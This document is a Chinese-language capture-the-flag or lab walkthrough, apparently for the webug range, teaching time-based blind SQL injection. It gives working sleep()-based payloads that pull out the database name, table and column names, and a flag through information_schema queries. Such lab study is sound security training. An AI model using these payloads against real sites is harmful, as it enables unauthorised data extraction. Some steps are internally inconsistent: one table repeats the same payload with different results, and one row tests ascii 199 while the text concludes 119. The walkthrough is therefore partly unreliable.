延时注入介绍
对于基于时间的盲注,通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
访问链接:和前两关一样。
1、判断注入点
1.加 ’ 发现内容变了
2.加 ’ and 1=1 %23 发现内容没变
3.加 ’ and 1=2 %23 发现内容变了
4.发现注入点 且 并没有报错 不是显错注入
2.通过延时判断是否可以通过延时注入:
输入 | 输出 |
---|---|
1’and if(length(database())>3,sleep(3),1) %23 | 延时3秒 |
1’and if(length(database())>3,sleep(3),1) %23 | 立即刷新 |
1’and if(length(database())>3,sleep(3),1) %23 | 立即刷新 |
1’and if(length(database())>3,sleep(3),1) %23 | 延时3秒 |
判断出来可以通过延时注入此注入点,并且数据库的长度为5
3.判断数据库名称:
输入 | 输出 |
---|---|
1’ and if(ascii(substr(database(),1,1))>88,sleep(3),1) %23 | 延时3秒 |
-------- | ----- |
1’ and if(ascii(substr(database(),1,1))>120,sleep(3),1) %23 | 立即刷新 |
…… | …… |
1’ and if(ascii(substr(database(),1,1))=199,sleep(3),1) %23 | 延时3秒 |
以此类推,发现第一个字母的ascii的值为119 查ascii表发现是w,
等待三秒后页面有变化
为了方便,我们可以采用left函数(依旧是延迟3秒有反应):
然后继续猜取第二个:
id=1'and if(left(database(),2)='we',sleep(3),1)%23
一直这样试下去,发现数据库名为webug
4、利用延时注入爆webug下的表的个数
id=1'and if((select count(table_name) from information_schema.tables where table_schema=database())=7,sleep(3),1)%23
爆出来webug下有7个表
5、利用延时注入爆出webug下的表名
id=1'and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='d',sleep(3),1)%23
猜解出来第一个表的第一个字符是d
依次类推,爆出webug下的表:
data_crud,env_list,env_path,flag,sqlinjection,user,user_test
6、利用延时注入爆env_list表下的列:
?id=1'and if(left((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1)='i',sleep(3),1)%23
env_list的表里有:
id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
7、利用延时注入爆id=3时envFlag内容:
?id=1'and if(left((select EnvFlag from env_list where id=3),9)='gfdgdfsdg',sleep(3),1)%23
ok,爆出flag为gfdgdfsdg
参考链接:
https://blog.csdn.net/nex1less/article/details/100009006
https://blog.csdn.net/weixin_33698043/article/details/93473217